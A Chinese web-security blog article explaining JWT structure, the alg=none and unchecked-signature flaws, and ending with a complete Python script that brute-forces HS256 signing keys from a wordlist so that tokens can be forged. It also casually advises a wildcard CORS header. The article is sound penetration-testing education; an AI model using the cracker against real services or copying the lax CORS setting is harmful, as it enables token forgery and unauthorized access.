Web安全-JWT认证机制安全性浅析

文章目录

  • 认证机制
  • 数据结构
    • 头部
    • 有效载荷
    • 签名
  • 数据转换
  • 安全缺陷
  • 密钥爆破

认证机制

JWT 全称是 JSON Web Token,是目前非常流行的跨域认证解决方案,在单点登录场景中经常使用到。JSON Web Token 直接根据 token 取出保存的用户信息,以及对 token 可用性校验,大大简化单点登录。

起源

说起JWT,我们应该来谈一谈基于token的认证和传统的session认证的区别。

传统的 Session认证

我们知道,http 协议本身是一种无状态的协议,而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证,那么下一次请求时,用户还要再一次进行用户认证才行,因为根据http协议,我们并不能知道是哪个用户发出的请求,所以为了让我们的应用能识别是哪个用户发出的请求,我们只能在服务器存储一份用户登录的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为 cookie,以便下次请求时发送给我们的应用,这样我们的应用就能识别请求来自哪个用户了,这就是传统的基于 session 认证。

基于 Session 认证所显露的问题

  1. Session:
    每个用户经过我们的应用认证之后,我们的应用都要在服务端做一次记录,以方便用户下次请求的鉴别,通常而言 session 都是保存在内存中,而随着认证用户的增多,服务端的开销会明显增大。
  2. 扩展性:
    用户认证之后,服务端做认证记录,如果认证的记录被保存在内存中的话,这意味着用户下次请求还必须要请求在这台服务器上,这样才能拿到授权的资源,这样在分布式的应用上,相应的限制了负载均衡器的能力。这也意味着限制了应用的扩展能力。
  3. CSRF:
    因为是基于cookie来进行用户识别的, cookie如果被截获,用户就会很容易受到跨站请求伪造的攻击。

基于 token 的鉴权机制

基于 token 的鉴权机制类似于 http 协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息。这就意味着基于 token 认证机制的应用不需要去考虑用户在哪一台服务器登录了,这就为应用的扩展提供了便利。

流程上是这样的:

  • 用户使用用户名密码来请求服务器;
  • 服务器进行验证用户的信息;
  • 服务器通过验证发送给用户一个token;
  • 客户端存储token,并在每次请求时附送上这个token值;
  • 服务端验证token值,并返回数据。

这个token必须要在每次请求时传递给服务端,它应该保存在请求头里, 另外,服务端要支持 CORS(跨来源资源共享) 策略,一般我们在服务端这么做就可以了Access-Control-Allow-Origin: *

JSON Web Token

那么我们现在回到 JWT 的主题上,JWT的原则是在服务器身份验证之后,将生成一个JSON对象并将其发送回用户,如下所示。

{
    "UserName": "admin",
    "Role": "0",
    "Expire": "2019-08-26 12:25:36"
}

之后,当用户与服务器通信时,客户在请求中发回JSON对象。服务器仅依赖于这个JSON对象来标识用户。为了防止用户篡改数据,服务器将在生成对象时添加签名。这样,服务器不保存任何会话数据,即服务器变为无状态,使其更容易扩展。下图便是采用 JWT 机制的系统中,客户端与服务器的通信过程。
但JWT 有个问题,导致很多开发团队放弃使用它,那就是一旦颁发一个 JWT 令牌,服务端就没办法废弃掉它,除非等到它自身过期。有很多应用默认只允许最新登录的一个客户端正常使用,不允许多端登录,JWT 就没办法做到,因为颁发了新令牌,但是老的令牌在过期前仍然可用。这种情况下,就需要服务端增加相应的逻辑。

数据结构

JWT 由三部分构成,header(头部)、payload(载荷)和 signature(签名)。
Web安全-JWT认证机制安全性浅析_第1张图片

头部

JWT 头部分是一个描述 JWT 元数据的 JSON 对象,通常如下所示。

{
    "alg": "HS256",
    "typ": "JWT"
}

在上面的代码中:

  • alg 属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);
  • typ 属性表示令牌的类型,JWT令牌统一写为 JWT。

最后,使用 Base64 URL 算法将上述 JSON 对象转换为字符串保存。
Web安全-JWT认证机制安全性浅析_第2张图片

有效载荷

有效载荷部分,是 JWT 的主体内容部分,也是一个JSON对象,包含需要传递的数据。JWT 指定七个默认字段供选择。

- iss:发行人
- exp:到期时间
- sub:主题
- aud:用户
- nbf:在此之前不可用
- iat:发布时间
- jti:JWT ID用于标识该JWT

除以上默认字段外,我们还可以自定义私有字段,如下例:

{
    "name": "admin",
    "role": 0
}

请注意,默认情况下 JWT 是未加密的,只使用了 Base64 URL算法转换为字符串,任何人都可以解读其内容,因此不要构建隐私信息字段或存放保密信息,以防止信息泄露。

签名

签名哈希部分是对上面两部分数据签名,通过指定的算法生成哈希,以确保数据不会被篡改。

首先,需要指定一个密码(secret),该密码仅仅为保存在服务器中,并且不能向用户公开。然后,使用标头中指定的签名算法(默认情况下为 HMAC SHA256)根据以下公式生成签名。

HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)

在计算出签名哈希后,JWT头,有效载荷、签名哈希 三个部分组合成一个字符串,每个部分用"."分隔,就构成整个JWT 对象。

数据转换

Base64 URL算法

如上所述,JWT 头和有效载荷序列化的算法都用到了 Base64URL。该算法和常见 Base64 算法类似,稍有差别。Base64 中用的三个字符是 "+","/” 和 "=",由于在URL中有特殊含义,因此Base64URL中对他们做了替换:"=" 去掉,"+" 用 "-" 替换,"/" 用 "_" 替换,这就是Base64URL算法。

JWT数据转换

来看看某次测试过程中遇到的真实的使用 JWT 的系统数据包:
Web安全-JWT认证机制安全性浅析_第3张图片完整的数据格式如下:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTEyMjA1NjQsInVzZXJuYW1lIjoiemhpeXVudG9uZyJ9.l7lzQwo-Iy0g95lsV6iqPfebiE4mNYLhQ-AGi1dtQVQ

可以使用 BurpSuite 的 Decoder 模块对 JWT 数据的 头部+有效载荷 部分进行 Base64 解码转换:
Web安全-JWT认证机制安全性浅析_第4张图片另外一种方式,使用JWT官方网站进行数据转换(当然签名部分无法解密):
Web安全-JWT认证机制安全性浅析_第5张图片

安全缺陷

JWT的优缺点总结:

  1. JWT默认不加密,但可以加密。生成原始令牌后,可以使用改令牌再次对其进行加密。
  2. JWT不仅可用于认证,还可用于信息交换,善用JWT有助于减少服务器请求数据库的次数。
  3. JWT的最大缺点是服务器不保存会话状态,所以在使用期间不可能取消令牌或更改令牌的权限,也就是说一旦JWT签发,在有效期内将会一直有效。
  4. JWT本身包含认证信息,因此一旦信息泄露,任何人都可以获得令牌的所有权限。为了减少盗用,JWT的有效期不宜设置太长。对于某些重要操作,用户在使用时应该每次都进行进行身份验证。

JWT存在的安全问题:

  1. 敏感信息泄露: 由于JWT传输过程中的加密方法是 Base64URL,而 Base64 URL 能够轻易解码,所以如果敏感数据在JWT中,是非常危险的。
  2. 未校验签名:某些服务端并未校验 JWT 签名,所以可以尝试修改 token 后直接发给服务端,查看结果。
  3. 禁用哈希: 一些 JWT 库支持 none 算法,即没有签名算法,当 alg 为none时后端不会进行签名校验。将 alg 修改为 none后,去掉 JWT 中的 signature 数据(仅剩 header + '.' + payload +'.')然后提交到服务端即可。
  4. HS256密钥暴力破解,攻击者可以采用暴力破解的方式猜解服务端的加密密钥,从而实现在客户端随意办法会话令牌的目的。

某大佬已在博客记录了上述几种安全问题的利用手段:全程带阻:记一次授权网络攻防演练(上),大佬演示了三种攻击方式:未校验签名、禁用哈希、暴破弱密钥。

密钥爆破

Python 提供了一个库 pyjwt,不仅可用于生成 JWT,也可通过 jwt.decode(jwt_str, verify=True, key=key_) 函数进行签名校验,但,导致校验失败的因素不仅密钥错误,还可能是数据部分中预定义字段错误(如,当前时间超过 exp),也可能是 JWT 字符串格式错误等等,所以,借助 jwt.decode(jwt_str, verify=True, key=key_) 验证密钥 key_ 时需要注意:

  1. 若签名直接校验失败,则 key_ 为有效密钥;
  2. 若因数据部分预定义字段错误:
    jwt.exceptions.ExpiredSignatureError,
    jwt.exceptions.InvalidAudienceError,
    jwt.exceptions.InvalidIssuedAtError,
    jwt.exceptions.InvalidIssuedAtError,
    jwt.exceptions.ImmatureSignatureError
    导致校验失败,说明并非密钥错误导致,则 key_也为有效密钥;
  3. 若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;
  4. 若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。

基于上述函数特征,可以编写 Python 脚本快速实现 JWT 密钥暴破功能,代码如下(Github地址:https://github.com/wkend/CrackJWTKey):

#!/usr/bin/env python 3.5
# -*- coding: utf-8 -*-
import sys
import jwt
import termcolor
from colorama import init


init(autoreset=True)
def check_input():
    """检查输入"""
    if len(sys.argv) != 3:
        print("Usage: "+sys.argv[0]+" jwt_str"+" passwd.txt")
        exit(1)


def print_sign():
    BANNER = r"""   
                              _        ___  _    _  _____ 
                             | |      |_  || |  | ||_   _|
      ___  _ __   __ _   ___ | | __     | || |  | |  | |  
     / __|| '__| / _` | / __|| |/ /     | || |/\| |  | |  
    | (__ | |   | (_| || (__ |   <  /\__/ /\  /\  /  | |  
     \___||_|    \__,_| \___||_|\_\ \____/  \/  \/   \_/  
                                                          (v 1.0)                                               
    """
    print(BANNER)


def crack_key():
    """爆破jwt秘钥"""
    jwt_str = sys.argv[1]
    passwd = sys.argv[2]
    with open(passwd) as f:
        for line in f:
            key = line.strip()
            try:
                jwt.decode(jwt_str,verify=True,key=key)
                print(termcolor.colored(r"[+]","green"),"found key successfully-->",termcolor.colored(key,"green"))
                break
            except (
                    jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
                    jwt.exceptions.InvalidIssuedAtError,
                    jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError
            ):
                print(r"[+] found key successfully!!!  -->",termcolor.colored(key,"green"))
                break
            except jwt.exceptions.InvalidSignatureError:
                print(r"[+] try key -->", key,","*10)
                continue
        else:
            print(r"[+] Done! no key was found\n")



if __name__ == '__main__':
    check_input()
    print_sign()
    crack_key()

Github 项目给出了演示用的 JWT 数据:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibmFuYSIsImFjdGlvbiI6InVwbG9hZCJ9.56wwCrB9tIgmUnYpLPxkO8GYj1soCjuu_skTlbH_Gg8

在 VPS 上下载并执行代码,成功爆破出演示数据的密钥:
Web安全-JWT认证机制安全性浅析_第6张图片
综上,渗透测试过程中如果遇到 JWT 身份认证机制,我们就应该对其存在的安全缺陷进行验证排查,如果能够爆破出服务端的加密密钥,那么就可以随意生成 Token 并形成垂直越权访问。

你可能感兴趣的:(Web安全)